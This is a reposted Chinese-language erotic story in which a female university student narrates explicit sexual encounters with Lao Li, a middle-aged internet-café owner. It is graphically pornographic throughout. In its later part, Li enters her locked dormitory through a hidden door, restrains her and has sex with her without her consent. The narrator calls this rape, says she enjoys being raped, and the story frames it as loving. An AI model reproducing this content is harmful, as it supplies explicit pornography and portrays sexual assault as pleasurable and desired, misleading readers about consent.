图片载入中

我和网吧老板老李叔叔的一夜激情 (转贴)

特大字】 【大字】 【中字】 【小字

上大学的时候我因为是在外地念书,和男朋友分离两地,那种相思苦没有经历过的人是不会明白的。

不只是思念的煎熬,也是肉体上的煎熬,更何况是刚尝试过云雨不久情窦初开的小女孩。

即使二百、三百块的电话卡用掉得像雪片一样多,也难解心中那无名饥渴,只是二十岁时的我不明白这些,

也没有勇气踏出那一步。

学校里有很多网吧,我和同寝室的女孩子们都喜欢去那家“老李网吧”。

因为装修好,不像其他几家把电脑桌并排放几行摆上电脑就得了。

老李网吧从进门开始就让你感觉进到木屋里一样,电脑与电脑之间用参差不齐的木板间隔起来,

每个人都有自己的一片隐私的小天地。

这家网吧来的几乎都是女生,去得晚都要在吧台前等着。老板老李是个快五十岁的老男人,个头很高,

很和蔼可亲,没事的时候老板老李也会跟我们聊天开玩笑。

他说,他也纳闷,为什么到他这来的全是女生?

我们会问他:“怎么,不喜欢啊?”他马上会一本正经地瞪着大眼睛说:“怎么会?!你们不知道啊,

其他网吧的老板和网管都嫉妒死我了,我请都请不来你们!”

那时候上网主要就是聊天,晚上通宵聊天、白天睡觉逛街,我们一个寝室都这样。

注意到老李是一天晚上准备通宵在吧台等机器的时候,前排有个女生的耳麦坏了要换一个,网管告诉他后,

他二话不说的去拿了一个新的让网管男孩给换上(去过网吧的人都知道,

如果你的机器如果有些什么毛病要求更换的时候,大部分老板都会推三阻四)。

这倒没什么,当网管换上之后刚转身离开,他就走过去拿起耳麦,用力地把耳麦向外掰开,

边掰边对网管说:“以后这些新耳麦刚换上的时候都要这样掰一掰,要不然太紧了,戴时间长会夹耳朵。”

其实简单得不能再简单的一件事却让我因此多看了老李几眼,排在我前面的几个女孩子已经等到机器都进去了,

只剩下我和吧台的老李。我故意找话茬跟他聊天,问他自己聊QQ么?

他说很少开,一个是因为忙,再一个是不太会聊天,人家总是聊着聊着就不理他了。

随便又聊了几句也等到了机器,就在我转身都已经走了几步的时候,

我突然鼓起勇气转过身走到他旁边:“你QQ号多少?”

别提我那时心情有多紧张了,这还是我第一次对男生这么主动过,

以前别的男生问我QQ号的时候我都烦得要命,他不会也经常被这里的女学生要QQ号而要得不耐烦了吧?

正这么胡思乱想的工夫,他已经在纸上写好了QQ号递给了我,

我接过纸条像无意中飞到房间里的麻雀一样逃掉了,还差点撞上装饰木柱子。哎呀,丢脸丢到家了!

坐到椅子上喘着粗气我就琢磨着:这至于么?干吗像逃命似的跑过来?这下完蛋了,人家老李能怎么想我啊?

不过是想跟他聊聊天,我干吗整得像要跟他偷情一样?

越想我是越紧张,越紧张我是越想,心都要跳出来一样。好不容易打开QQ照老李给我的号码找到了他,

这时候的他已经在线了。

刚把他加到好友里,他的头像就一闪一闪的动了起来!我的吗呀!我心里暗叫了一声。干吗这么快就来消息,

我还没准备好怎么跟你说话或是跟你说些什么呢!

因为我是坐在靠过道边的位置,于是我悄悄地把头偏向一边打算看看吧台上的老李。

这一看心脏差点没跳出来,他正一脸憨笑的在那守株待兔地望着我呢!

险些把脸撞到木板间隔上的我缩了回来,打开他的信息……

“丫头,柱子撞坏,屋顶会塌下来的。”

呵呵,突然紧张感一下就没了,心情也放松了,对老李的感觉有多了一份好感。说实在的,

我还是喜欢年龄大一点的男人,觉得这才叫男人,才有男人味。我们寝室的姐妹虽然也喜欢成熟一点的,

但都没有像我这样喜欢年龄大到这种地步的,我觉得这样的男人才有安全感。

“天塌下来不还有个头高的人顶着?你怕什么?”我整理了一下心绪给他回了话。

他打了一个眼泪横飞的图片过来说:“丫头,本钱还没回来呢!‘头’下留情啊!”

“干吗老叫我丫头,我小么?”虽然被人叫丫头感觉也不错。

“按我的年龄来说,叫你丫头不对么?”

问过才知道,原来他只比我爸爸小几岁而已,不过我却一点都不在意。就这样,我们你一言、

我一语的聊了大半夜。我还是头一次这么认真地跟一个网友聊天,还是个近在咫尺的人。

这一聊下来,我更是被他所迷住了,真是不明白,为什么他说别人不喜欢跟他聊天?他是那么的健谈,

那么的让人着迷。不知不觉中我的心又砰砰的跳了起来,偶尔还会偷偷的看他几眼。

等他回话的工夫,我偷偷地透过稀松的木板间隔看前面那个女生在聊什么,

出乎我意料的是她竟然在看黄色录像!

天啊∼∼我用手捂着嘴不可思意的想:她是在哪找的呀?

我怎么就找不到这样的网站呢?!(哈哈,你们不会以为我惊讶有女生看色情片吧?我没清纯到那种地步,

估计就算现实中的你身边有这样的女生那也是装的!我们女孩子晚上也会在寝室研究男人的生殖器,

而且现在的女学生百分之八十都是裸睡,女生厕所的纸篓里经常会有验孕棒。)

我把这事告诉了老李,他很不以为然的说在桌面的电影里怎么怎么样。原来这么简单,

枉我以前费那么大的劲到处在网上找。戴上耳麦我也看了起来,只是美中不足的是一个耳朵有声音,

一个耳朵没声音。

老李看我聊天速度突然慢了起来也大概知道是怎么回事,聊天的内容也开始大胆了起来,

而看得正起劲的我也有意无意地带点挑逗的味道。

因为事隔时间有些长,我也只能记得这么多,反正老李的话问得越来越多、问得越来越隐私,

而我也看得欲火焚身,几乎每问必答,越来越觉得勾引他很刺激,反正和男朋友也做过了,

再和别人做他也不会发现什么。

“你有男朋友么?”

“你和你男朋友做过么?”

“你男朋友的家伙大么?”

“你男朋友有没有说过你的乳房很大很迷人?”

“你男朋友舔过你的屄么?”

“你男朋友一晚上能干你几次?”

“不知道你的有多大,怎么比较他的大小呀?”

“不止他一个人说我的乳房大∼∼你没看见里面怎么知道迷人?”

“你猜呢,她现在都湿了!”

那么粗大却又那么的迷人,狠狠地扎进了肉穴中,

女人深情地“啊∼∼”叫了一句,男人开始卖命地在女人身上抽送着……

我的心随着那鸡巴插进小屄里的一瞬间颤抖了一下,明显感觉出有东西像来例假时从阴道里流了出来。

“嗯……”真想情不自禁地跟着叫,我的大脑已经被情欲占据了,好想像屏幕中那个女人一样舒服一下。

“你在看A片吗?好看么?有没有用手去摸摸你那迷人的小屄?”

“摸了,手指都湿了,腥腥的味道。”

“哦,丫头,我离婚很久了,很久没做过了,我现在鸡巴都硬了。”

“老色鬼呢∼∼我也好久没做过了。”

“那要不要我们互相借用一下呢?嘿嘿!”

“呵呵,才不要呢!这么多人!”

天知道我多想过去。我把裙子撩到上边,不然坐在下面的裙子会被我的淫水弄湿的。

“网管们都让我支回出租房里睡觉了,今天晚上只有我一个人,你来休息室吧,好么?

我的小宝贝,叔叔好想要!”

“你都说了,你是我的叔叔,怎么可以欺负我呢?”

“难道你不喜欢叔叔来欺负你么?叔叔的鸡巴很大哦!你会很舒服的。过来吧,没人会看见的。”

“不要∼∼那我就叫你叔叔了。叔叔,我的耳麦只有一只有声音,看录像效果很不好,帮我换一个好么?”

我已经决定今天晚上彻底放纵一下了,只是从来没这么干过,所以还是没有勇气走到吧台旁边的休息室。

刚把信息发出去他就拿了一个耳麦走到我旁边,虽然在QQ里我可以很淫荡地跟他聊天,

可当他真人就站在我旁边的时候却又紧张得要命。

看得出他的眼睛充满了欲望,顺着他的目光,我看见自己那裸露在裙子外面的两条大白腿,

我红着脸用裙子盖住腿,白了他一眼。

刚要站起来让地方方便他换耳麦,他却一把将我按在椅子上,然后没有松开手顺着我的肩滑到了手上。

我马上挣脱开向周围看了看,还好大家都在专心地盯着自己的电脑屏幕,一门心思的投入在里面,

根本就不管周围的事。

转过头,发现他已经蹲在我旁边准备换耳麦了。一个男人的头离我流着淫水的小屄这么近,

更让我心猿意马,水流得更多了。

他却镇静自若地伸手摸着我的腿,从脚脖子一路直摸上到我的大腿内侧,

略显粗糙的手在我的腿上给我带来快感,一丝丝的电流击向我,感觉是那么的刺激,

特别是当他摸向我那幽静的私处的时候。

就当我陶醉的时候,他却站了起来,意味深长地看了我一眼,又看了看电脑屏幕里那纠缠在一起的男女,

然后把手指含进嘴里,走开了。

而男人正用他那大家伙一下又一下地插向女人最隐秘的地方。

那样的大家伙插进穴穴里真不知道是什么滋味……那一刻心里是那么的失落,我知道我现在需要的是什么。

QQ的头像又闪动起来:“你的味道真香!”

“老色鬼∼∼不怕我叫让别人知道啊?”

“来吧,我知道你想要!”

是的,我想要,我非常的想要有个东西插进我的小蜜穴让它充实……我毅然地站了起来,走向了吧台。

他看见我走过去,很自然地向旁边的休息室指了一指,推开门之前我回头看了一眼……

真是感谢了这种近乎包间似的装修格式,在吧台这几乎看不见人,只有那一排一排的装饰木扳,我想,

大概不会有人去注意这边的动静了,心也放了下来。

屋子里灯开着,他的心可真细。房间很小,只有一张圆桌子和一个老式的上下铺床,下铺微有些乱,

我猜这大概就是那些网管休息的地方了。

我像是个在探索别人隐私的小偷一样,局促不安,手放到哪都不知道,也许我该后悔,可是却不想离开这里。

一转头看见灯的开关,微微一笑走过去把灯关掉了,这一刻好像只有黑暗才能使我的心情平静。

我站在房门边上静静的等着,一手按着那跳动不安的心……大约等了近十分钟的时间,门突然开了。

屋子里黑黑的光线大概让他的眼睛一时适应不了,他关上门刚要顺手去开灯被我一把拦了下来,

我握住他的手腕依偎到他的怀里,显然他很激动,一把抱住了我,将头俯在我的颈肩上用力地吸气,

用力地抱着我。

“老头子,你快把我勒断气了!”

“小妖精,你快要了我的命了!”

“呵呵,现在就要了你的命了,那一会怎么办啊?”

我贪婪地在他怀里找个舒服的位置,用脸磨贴着他的胸膛,一条腿伸进他的裤裆中间磨擦着他的大腿内侧。

“怎么才进来,后悔了?”

“傻丫头!”他用手突然地抓住我一侧的乳房,用力地揉搓着,一手紧紧地抱着我那苗条的腰身。

我舒服地一手勾住他的脖子、一手按在他的手上随着他揉搓着自己的那兴奋的乳房,

情不自禁地仰起头叫了出来:“啊∼∼”

“我得……观察一下有没有人……注意你的举动,就算……有人问起……我也可以帮你……解释一下呀!”

他的喘气声越来越重,鸡巴也高高的翘起来顶住了我的肚子。

这种感觉很刺激,我1米68的身高竟然也只能让他的鸡巴顶在我的肚子上。

我拉下他的脖子将我的珠唇送了上去,他双手紧紧地扣住我的头,仿佛恨不得要将我一口吃下去一样。

舌头不安份地在我嘴里上下翻动,我也不服气地将舌头吐到他的嘴里与他纠缠在一起,

然后绕着他的舌头上下打圈圈。

他低哼了一声,双手顺着我的嵴背一路下滑,在我高挺的屁股上掐了两下并用力地搂紧,

让我更接近他那裤裆里硬梆梆的生殖器。他拉高我的裙子,毫不客气地将手伸进我的内裤中,

从屁股一直摸到前面那密林地带;舌头从我的嘴里出来,沿着耳垂、下巴、脖子,一路来到我的高峰处。

一连串的兴奋让我腿有些酸软,已然有些站不住。他突然站起身来将我拉到那有些凌乱的床边,

胡乱地将床上的东西全扫到地上,一把拉住我,扯住我的裙䙓从下到上一下拽了下来。

顺着月光,我看见他那饥渴的眼睛紧紧地盯着我的双乳,

粉蓝色低胸蕾丝花边胸衣从下面将我的胸部完美地衬托出来。他一边脱裤子一边盯着我看,

我有些不好意思地用一只手打横拦住胸部,一只手去抚摩他的脸……

他刚一脱掉上衣就一把扑了过来将我按倒在床上,那略带胡茬的嘴在我的身上吻着。

他将我的双手伸向头顶并用一只手抓紧,另一只手隔这内裤摸着我的小穴,我想它已经水流成河的泛滥了。

因为有胸衣和内裤的遮挡,让他总碰不到我的关键部位,他竟然用那个沾满淫水的手一把将我的胸衣扯掉,

那两侧是细带的半蕾丝内裤更经不起他那有力的大手,也随之被抛到了地上。

他一口含住了尖挺起来的乳头,含着像个学着吃奶的婴儿,

下面那沾满琼桨蜜露的手也熟练地在我的外阴转圈揉着,时不时碰到我的的敏感地带,

一阵阵小小的痉挛让我不自觉地挺起了胸膛,而他则躺在我身边,

那高高仰起硬硬的小兄弟也一跳一跳的在我腿上跳动着。

因为怕外面的人听见,我始终不敢叫出声音来,我闭紧双眼享受着他带给我的快感。

所以我说我喜欢成熟的老男人,他懂得怎么让你舒服慢慢地伺候着你。

那揉着我私穴的手突然伸出一根手指插进了我的屄里面,我拱起的上身挺得更高了,

他却乐得送上嘴边的美餐,用牙齿撕咬着我的乳头,“嗯……啊……”我终于还是情不自禁地叫了出来,

下身也随着他手指的进出而摆动着配合着他的动作。

他将嘴贴进我的耳朵说:“你的屄怎么这么紧?”说完咬着我的耳垂,唿吸的风吹在我的耳朵里,

痒得我全身酥软。

我的另一个敏感带就是耳朵里,最受不了的就是有人向我的耳朵里吹气了。我的屄之所以很窄,

是因为虽然我和男朋友处了两年多,但因为总是聚少离多,上床的次数也是可以用手指算出来的,

而每次就算是在一起做爱,也会因为没有地方而匆匆了事,能享受真正的高潮也少之有少。

微微一阵痉挛,一阵热流从我的小腹涌了出去,经过阴道的时候带来的快感是无以伦比的,

我知道他让我高潮了。

大概有偷情的成分在里面让我感觉刺激,而门外又有那么多的人的关系吧,竟然让我这么快就感到满足。

而当精液喷到他的手上的时候,他简直惊呆了:“你高潮了?天啊,你个小妖精,小骚货!”

他胡乱地抓来一件衣服擦干他的手还有我的下体,依然一只手将我的双手高举在头顶,

一个翻身骑到我的身上,支开我的双腿,一个挺身毫不客气地将他那粗大的鸡巴插了进来。

说他粗大一点都不过份,虽然我没有阅历过很多男人的生殖器,但我男朋友的就已经很大很粗了,

可是他的更粗,更长!因为刚高潮过,肉穴的肉壁在缓缓地收缩,淫水也被他擦掉了,

而这一下深深的插入简直没把我痛死!我大声的叫了起来:“啊!痛死我了!”

我�起屁股想让他的大鸡巴出来,他俯到我身上对我说:“宝贝,对不起,对不起,你忍一下,马上就好了!”

插进来后他就没动,在安抚住我之后才慢慢地做出抽出的动作,而火热的疼痛感还是那么的强烈,

他的鸡巴实在是太大了,我有点承受不了。

“不要啊!好痛啊!”我轻声的对他说。

“丫头,我……怎么感觉……像在……强奸一个……处女啊!我不想放弃,我现在……疯狂的想……操你!”

他边说边缓缓地又将他的大鸡巴送了进来,在他送到最尽头的时候,

我能明显地感觉到他的龟头已经碰到我的子宫了。

他的另一只手也不闲着,先是揉捏我的大乳房,又来到我们交融相结合的地方,四根手指按在我的肚子上,

用大拇指在我的外阴寻找我的敏感地带。

大概刚才我的反应已经让他知道了哪里是我的软肋,在他不断的努力下,我的淫洞又源源不断地涌出精液来,

这让他抽插得更加方便了,也慢慢地加快了速度和力度,我也又疼痛感转换为难以言语的舒服感。

他的力量很大,每一次冲击都会碰到花心,撞进我既有点痛又舒服得要命的最深处,

床也随着他的大幅度摆动而“吱吱”的响着。

“噗∼∼吱吱∼∼”淫水被他插得喷溅到处都是,“嗯……啊……好啊……嗯∼∼好舒服啊!”

我还哪管什么外面的人听到听不到,肉欲已经贯穿了我的头脑,我只想他再用力一点。

“喜欢叔叔的鸡巴么?”

“喜欢∼∼喜欢啊……啊……”

“你舒服么?小淫娃!”

“啊……啊……舒服啊……”

“还来不来让叔叔操了?”

“让!嗯……让啊……我不行了……叔叔你好棒啊!”

这时,他终于放开了我的手,由于长时间的高举已经有点麻木了。

继而他举起了我的双腿扛到了他的的肩上,一手扶着我的腿,一手搭在我的肩膀上,

这个角度已经让他的鸡巴更加深入地插入我的小屄,那种肉贴肉的舒服感觉清晰地体现在我的肉穴内壁之中。

他疯狂地抽插着,就好像几百年没干过女人似的,我的肉穴也饥渴地迎合着他,“啊……老李……”

我一个挺身,又一股热热的洪流顺着阴道喷了出去。

“噗∼∼喽喽……”

我一涌而出的淫精顺着老李的抽插喷溅而出,声音虽然让人尴尬,但这个时候也顾不得那么多了。

快感让我几乎死了过去,我已经全身无力,没有多余的精力去迎合老李了。

我又一次的高潮很显然刺激了老李,他更加快速、更加用力地顶我,而刚高潮后的我已经把这视为负担,

只想他能快些了事好让我休息一会。

老李见我没了反应他可不干,将我腿放下,自己下地了,将地上的一堆衣物抱起来放到了床上,

又从上铺拿下一张床单铺在上面,堆成一座高高的小山。老李这是要干什么啊?我纳闷地看着他的举动。

这时,他过来打横将我抱起来,屁股放到了“小山”上面,身子斜躺在床上

(住过宿舍的人应该知道,老式的上下铺床,下铺离地面是很近的,想这么操到我可是很不容易的)。

我头低脚高的躺着,让源源不绝流出精液的小肉穴去面对一个男人,很是不好意思,于是我想翻身下来,

他却双手抓住我的胯骨,一个用力将我翻了过来趴在“小山”上。

“干什么啊?老鬼!”

“我让你尝尝老鬼的厉害,让你以后也忘不了我。嘿嘿!”他说着就握住大鸡巴在我的屁股周围磨蹭着。

估计是受到上一次的教训,老李这次不但没有擦干净我的淫水,还利用了起来。

我被这刺激的姿势和他的举动又一次的带动了,这时感觉到他已经将大肉棒对准了我的蜜穴。

他一个用力地挺身就插了进来,这回没有像刚才那样停下来等我的反应,而是两只手抓着我的屁股,

充份地使上力气干我。

“哦……啊……天啊……嗯……”

我全身无力地趴在衣服堆上,全心地感受老李深深的撞击带给我的快感:“叔叔……你好棒啊!”

“小丫头,叔叔不行了∼∼啊……你的小屄夹得我好舒服喔……你的小屄真紧……哦∼∼唿∼∼”

终于,我们的第一次偷情就这么草草的结束了。老李射出了浓浓的白色精液后倒在了我身上,

而我早就全身无力到昏昏欲睡。

穿衣服的时候才发现,胸衣的带子已经断了,内裤也已经被老李撕碎,没办法,只能将裙子穿上。

跟老李要了透明胶带,剪下一小段贴在乳头上,这样不至于在衣服外面也能明显看出来没穿胸衣;

下身倒是无所谓,反正以前跟男朋友出去玩的时候经常不穿的。

老李恋恋不舍的不让我走,信誓旦旦地说一会还要再来一炮。本来很累、想睡一下再走的我一听这话,

是说什么也要回寝室的。

再玩?再玩我就死啦!他的鸡巴太大了,激情过后我的下体磨涨得很酸痛,舒服归舒服,

下面的小妹妹可是要留着玩一辈子的。

之后我又断断续续和老李做过几次,都是非常刺激的,他是越干越厉害,

而我到现在也对他的大鸡巴恋恋不舍,只是大学毕业回家后就再也没有联系了,说来也怪可惜的。

自从和老板李叔有过那一次情事之后,我有一些时候没去那家网吧了。说不上是逃避,

只是不知道怎么去面对,或是该用怎么样的心态去面对,毕竟我也只是第一次去随性而性。

日子就像它从来都没发生过什么似的继续过着,而我也渐渐开始去淡忘那个老李,去淡忘那一晚激情的性事,

作息时间也正常了许多,起码晚上12点前开始睡觉了。

而我们寝室的那帮野女人还是通宵达旦的在网吧奋斗着(大学本就轻松,而那段时间又正赶上“非典”

不让出校,所以网吧的生意异常红火)。

一天夜里也不知道是什么时候,正睡得稀里煳涂呢,电话响了,我胡乱地抓起电话就喂了一句。

“丫头,怎么不来找我了?”一个男人的声音。

“喂……谁啊……”我口齿很不清楚的说。基本上这时的状态就处在有声音也听不太清楚的地步,

即使是听见了也没什么反应,因为大脑基本是还没开始运转呢!

“丫头,起来,我有话说。”

“哦……唿∼∼”

“着火啦!快跑啊!!”刺耳的尖叫声横穿入脑,我几乎是一个挺身就坐了起来,盲目地睁开眼睛看着周围,

寝室里一个人都没有。

奇怪,怎么起来了?做恶梦了?一边纳闷呢,一边又一个挺身倒在床上。

刚闭上眼睛就听见枕头旁边有东西在叫,吓得我浑身一激灵又坐了起来,一点睡意都没有了。

我的心都快跳到嗓子眼这了,长这么大真就没这么怕过!

“喂∼∼喂……有没有人啊∼∼丫头?哈哈哈∼∼丫头?”

我脑袋一清醒了,才听出来那是手机里有人说话,这才抓起电话:“喂?”

“呵呵,醒啦?”

“你谁啊?”

“我声音你都听不出来?”

“谁知道你是谁啊?吓死我了!”真是莫名其妙的人,我心中有一些恼火。

“呵呵,谁让你边睡觉边跟我说话。”

“你到底是谁?再不说我挂了!”

“小妖精,几天不见真把我忘了?”

小妖精??老李??我可一脑子的不可思议!

“老李????????你怎么知道我手机号的?”

“怎么?知道是我很失望吗?”他装成很泄气的声音打着呵呵。不知道为什么,看不见也就算了,

可一听见他那充满沧桑、写满岁月又带有磁性的声音,我就内心一片陶醉!

“呵呵,老色鬼?”

“丫头,我想你了,你怎么不来玩了?”

“这几天不舒服就没去。”我胡乱编了个借口。

“让我干坏了?嘿嘿!”

一提起那晚的事,我又心情荡漾了起来,他的那根大鸡巴进入体内是那么的充实、那么的舒服。

“又想来勾引我?”我伸出一只手抚摸起自己圆润的乳房。

“丫头,上回可是你勾引我哦!”他看我没有逃避他的话题,声音更低沈,隐约能听见他粗粗的喘息声音。

“谁勾引谁重要么?如果你现在出现在我旁边,我会让你知道什么才叫真正的勾引!”

我一手拿着电话,一手抚摸着自己的身体,滑滑的、软软的。

“小妖精,只是听你这么一说我就硬了!我想你那个小骚穴了。”

“小骚穴现在也想你的老鸡鸡了。”

因为寝室没人而胆子大了起来,也因为我们女生宿舍楼前后两道门到晚上都会上锁,后门也只是偶尔才开,

前门有开门的老大爷。虽然老李的网吧就在我们宿舍楼后门外,也属于我们楼内建筑,但怎么也是进不来的。

“呵呵,那你脱光衣服等我。”

知道他在开玩笑,他怎么可能会进来呢,就故意卖力地去逗他了:

“人家晚上睡觉从来都不穿衣服,还怎么脱啊?”

“那你现在摸摸自己的小屄,就当是我的手。”

听他这么一说,本来就在抚摸身体的手,就好像那只手真的是他的一样,

从高挺的乳房游移到密林丛中……我陶醉在老李那只字片语带给我的欢愉,

一只手指也慢慢伸进了正源源不断流出滋润小溪的洞穴之中。而老李也没了声音,

大概他正在听着我重重的喘息声和时不时那轻微的呻吟声在打飞机吧?

“嗯∼∼叔叔,我想要你……嗯……叔,你怎么不说话啊?”

我话音刚落就听见一阵阵轻微而急促的敲门声,忙将插进自己体内的手指抽了出来,“寝室回来人了,

一会再给你打电话。”匆忙的把电话挂断,套上连体睡衣就下地。

而被吓得惊慌失措的我哪里想到楼下大门是锁上的,老李都上不来,姐妹们又怎么能回来?

还很担心刚才的呻吟声有没有被外面的人听到。

匆忙的下地打开门锁,大概是心虚吧,反正当时也没问外面的是谁,也没看看进来的是谁,

就又匆匆忙忙转身往回走,准备爬上自己的床,心里还想着要给老李打个电话,告诉他以后再玩。

突然,在门上锁的声音响起的同时,一只强而有力的手从后面捂住了我的嘴巴,

而我轻盈的身体轻而易举地被另一只胳膊紧紧地扣在对方的怀里,几步推到了开着窗户的窗台上。

是男人的手!这突如其来的一切来得是那么快,又那么的让人想像不到。直到今天,

那晚的回忆常常会跳到脑海之中,久久也难以忘怀。因为事情发生得太意外,

我愣在那几乎没有反抗就被来人克制住,直到他把我推到窗台上趴在那,这个时候我才想到了挣扎,

也只剩下脚可以去踢后面的人,可是他又用双腿将我紧紧夹住。

他用全身的力气将我压在窗台上,腾出环住我的右手一把抓住了我的乳房!我心里一惊!

这个时候才开始想像这个人进来的目的,偷东西是不可能了,有哪个小偷是敲门进来偷东西的?!

‘现在他这样对我,很显然是冲着女人来的!’这个念头刚一闪入脑海里,

我的下体就随着他有力揉搓我胸部的手生出一阵阵瘙痒,但我还是不断地扭动,而且是使上全身的力气。

(要问为什么吗?其实我也不太清楚,我不知道其他女人是不是像我一样有这种想法,

就是有的时候很想被人强奸,想尝尝被强奸是种什么滋味。真的!就是到今天,我也还是喜欢被强奸的感觉,

带点紧张,不知道他下一步会干什么,小穴中很容易就会有一种酸痒感,从而很快达到高潮。)

因为被紧紧地压在他的身下和窗台上,我的屁股是高高地翘着的,

所以很明显感觉到在屁股上有个硬硬的东西在顶着我。这个人的身高应该不低,

从他抱着我的姿势还有压在我身上的身体竟能整个覆盖着我。

我的手臂被重力压在窗台边上,已经有些缺血而麻木,只能是不断地使劲挣扎,

偶尔才会从嘴里发出“呜呜”几声。喊得太大声、太卖命会被别的房间的人听到的。

从在他怀里的挣扎中我感到一丝丝快感,本来这种事情不想被他发现,

但那抓住我乳房的手并没有在我的胸膛停留太久,只是象征性的抓了几把后就一下伸到了我的胯下!

我那里还没穿内裤呢!

他自己翘起屁股挪出些许空间以方便他的手进入,而我的屁股也藉着他容出的这点点空间一顿的折腾!

我知道,我的这点动作不但伤不了他,反而会让他更兴奋。

果不其然,他的手在摸到我下面湿湿的小洞后,重重的喘息声传了过来。就在我偷着乐的时候,

他松开夹住我双腿的腿,也松开沾了一手淫水的手。

我刚要趁机回头看看的时候,突然,一个硬物猛地插入了我的体内,我的小穴一下子就被塞得满满!

这突如其来的发生,从他进门到现在的一切还没用上两分钟!

我就这么容易地被一个还不知是谁的男人给强奸了!

在对方的大鸡巴插入我体内的同时,我从嘴里发出很大一声:“呜!!!”肉穴被撑涨得像要爆裂了一般。

我突然感到了一点的害怕,我开始更用力地挣扎着,可瘦弱的我这点点的折腾从他的动作里就感觉得出,

这在他眼里根本就算不上什么。

他的右手又环住了我,与其说是环住,不如说是扣住。另一只手还是没有撒开,继续捂着我的嘴,

下体竟然开始抽送起来!

在他猛烈的抽送中,我突然感到一阵颤栗,腿突然没了力气,一丝电流从脚底穿过阴道、穿过心口,

直冲大脑,脑子突然一阵空白,随之从还被插着的肉洞内涌出一股阴精!我高潮了!

我竟然在被强奸的那一瞬间高潮了!我情不自禁地“嗯……”了一声,放弃了所有的反抗,

无力地趴在了窗台上。

“哦∼∼你个小骚屄!被强奸……竟然也会这么快高潮!我他妈的∼∼操死你!嗯……操!”

身后的人突然在我的耳边小声的说。边说边松开双手,两手支撑在我的后背,用力地在我的下体抽插着。

老李???这个声音不是老李么?怎么会是他啊?他怎么上来的?!

还没等我开口问呢,突然身后的他也一阵的痉挛,插入我体内的大鸡巴明显地在开始一股一股的射精,

然后也无力地趴到了我身上。

“丫头,我好久没这么快就射了,你太厉害了!”老李靠在我耳边轻轻的说道。

说话的细风吹在我耳朵里实在是让我受不了,我挣扎着起来,拿纸巾将不断流出的精液擦干净。

看着对面站着的竟然真的是穿着汗衫短裤的老李,我惊讶地上前抱住他:

“你怎么来了?”那一瞬间,真的好像见到久违的亲人或是心爱的人的感觉,好像找到了靠山一样,满心的踏实。

“呵呵,我们网吧有个后门是通向你们楼内的,你们学校不让用,所以一直以来门附近都是堆放杂物的,

也不容易发现。”

说着,老李捧起我的脸,给了我一个深深的吻后,继续说道:“这几天你也不来找我,我整天都想着你,就来了呗!”

我爱死了这一刻老李给我的这份感觉,就因为这样,后来我想嫁给他,可是他一直反问我一句:

“你家里人会同意么?”我退缩了,不敢去尝试家里所做出的反应。但是,我真的爱过老李。

“你怎么知道就我自己在寝室?”

“你们那些小姐妹都在我网吧里呢!傻丫头。”

“坏死了!亲爱的,你刚才算不算是强奸我呀?”我撒娇的在老李怀里磨蹭着。

“无论再重来多少次,我也要像刚才那样强奸你!”老李咬牙切齿的在我耳边低吟,时不时地还吹点小风,

我的这个弱点是被他抓得死死的。他的手也不安份起来,像探宝似的在我浑身上下摸索着。

“老东西,刚做完又想要,不怕今天晚上我让你精尽人亡啊?”

我边说边将双手从他的后背慢慢插进他的短裤中,摸着他的屁股。

“那就看看今天晚上咱俩谁厉害喽!”他说完就用舌头在我的耳朵上舔了一口,继而将舌头伸进了耳朵里。

我躲闪着:“嗯啊……不要啊……”一把将他的汗衫掀开把头藏了进去,一口含住了他的小乳头,

他也情不自禁地“嗯∼∼”了一声。一只手又来到我那静幽之地,用手指不断地转圈揉着。

他拨开我的大阴唇,用一只手指在上面上下抽磨着,另一只手臂在后面抱着我,

时不时地扶着险些站不住的我。我也把手从屁股转到前面那一片茂密从林之中,一根粗壮的大鸡巴直挺挺的,

我的手险些一把都握不住!好大!好想用嘴去亲亲它。

我紧紧地抓住他的大鸡巴,另一只手扒开他的短裤和内裤,将它们都褪了下去,因为裤头是松紧带的,

再加上老李的配合,所以很容易将它们都脱了。头一低,一口将老李的大鸡巴含在了嘴里,我已经张大了嘴,

可也只是仅仅吞进了一小半,天啊!好大!难怪被他干起来会那么舒服!

我学着A片里的女人那样用嘴和手配合着套弄,老李双手按着我的头,极尽舒服地享受着。

以前我也给我男朋友干过口活,虽然他的鸡巴也不小,但如果用嘴含着再用手的话会显得很拥挤,

不是手施展不开,就是嘴吞不了多少肉棍棍。

而老李的大鸡巴既将我的嘴塞得满满的,又有地方让我的手毫无阻碍地在下面套弄着,

我真是爱死了这个大家伙了!

就在我吃得正起劲呢,老李突然把我推开了,将我一把按在旁边的椅子上坐下,

没用力气就将我身上的连身睡衣扯了下来。他突然蹲到我面前,双手一用力就把我的双腿扛在了他的肩膀上,

我的门庭立即对着他的脸大开着!

“啊∼∼叔叔你干什么?”我含羞地用一只手遮了起来。

“我也让你舒服舒服,顺便尝尝你这个小骚穴的味道!”

说着,就将我的手�起,要将脸贴近。我忙要夹紧双腿制止,并用另一只手去遮掩。

我男朋友都没有为我舔过屄呢!虽然他也要求过,但我总是认为那个地方不干净,总是没有让他舔。

老李毕竟是男人,有力兼对付女人有一套,他一手抓着我一只手,一用力就将扛在他肩膀上的双腿打开,

一整张脸都扣在了我门庭大开的下体上。一种说不出的感觉第一次冲击着我的脑海,我也不再费力地去挣扎,

全身心地体会他带给我的快感。

“宝贝,你可真香!”老李�起头舔着舌头对我说,然后傻傻的“嘿嘿”笑了起来。

我脸红着白了他一眼就闭上了眼睛,还好椅子有靠背,不然早摔到地上了。

一个软软湿湿的东西在我的小阴蒂上摩擦着,像一个大毛毛虫一样不安份地在那周围爬动着,

一会这里、一会那里……就是到今天我也形容不出来那种舒服的感觉。

“嗯……嗯……”我的淫水孜孜不倦地向外流着,而他一口口的吞了下去,将肉穴舔得干干净净。

我开始扭动身体,想要得更多,这湿湿滑滑的感觉已经满足不了我此时的欲望了。

“小毛毛虫”忽然不安份起来,竟然一个转身钻进了洞穴之中,“啊……”这种要又要不到、

又痒痒的感觉实在是折磨人得很。

我一把推开老李叔叔的脸,挣脱着站了起来,一转身将他按在椅子上坐着。我爬到老李的腿上,

跟他面对面,亲吻着他的嘴,腥腥的味道,这大概就是我的味道吧?

一只手扶着他的大鸡巴,一屁股坐了下去!

“唔……”老李的鸡巴被我的阴道完全包裹着,不由得呻吟了起来,一头埋在了我高挺的乳房之中,

贪婪地吸吮着。

“啊……”我因为太用力地将大鸡巴坐进体内,让龟头深深的顶到深处而触碰到子宫口,

身子一时有些僵硬,直挺挺的向后仰着。

稍一停顿,我开始在老李的腿上一起一坐套动着他的大鸡巴,老李也用双手托着我的屁股,帮助我用力,

帮我掌握节奏。

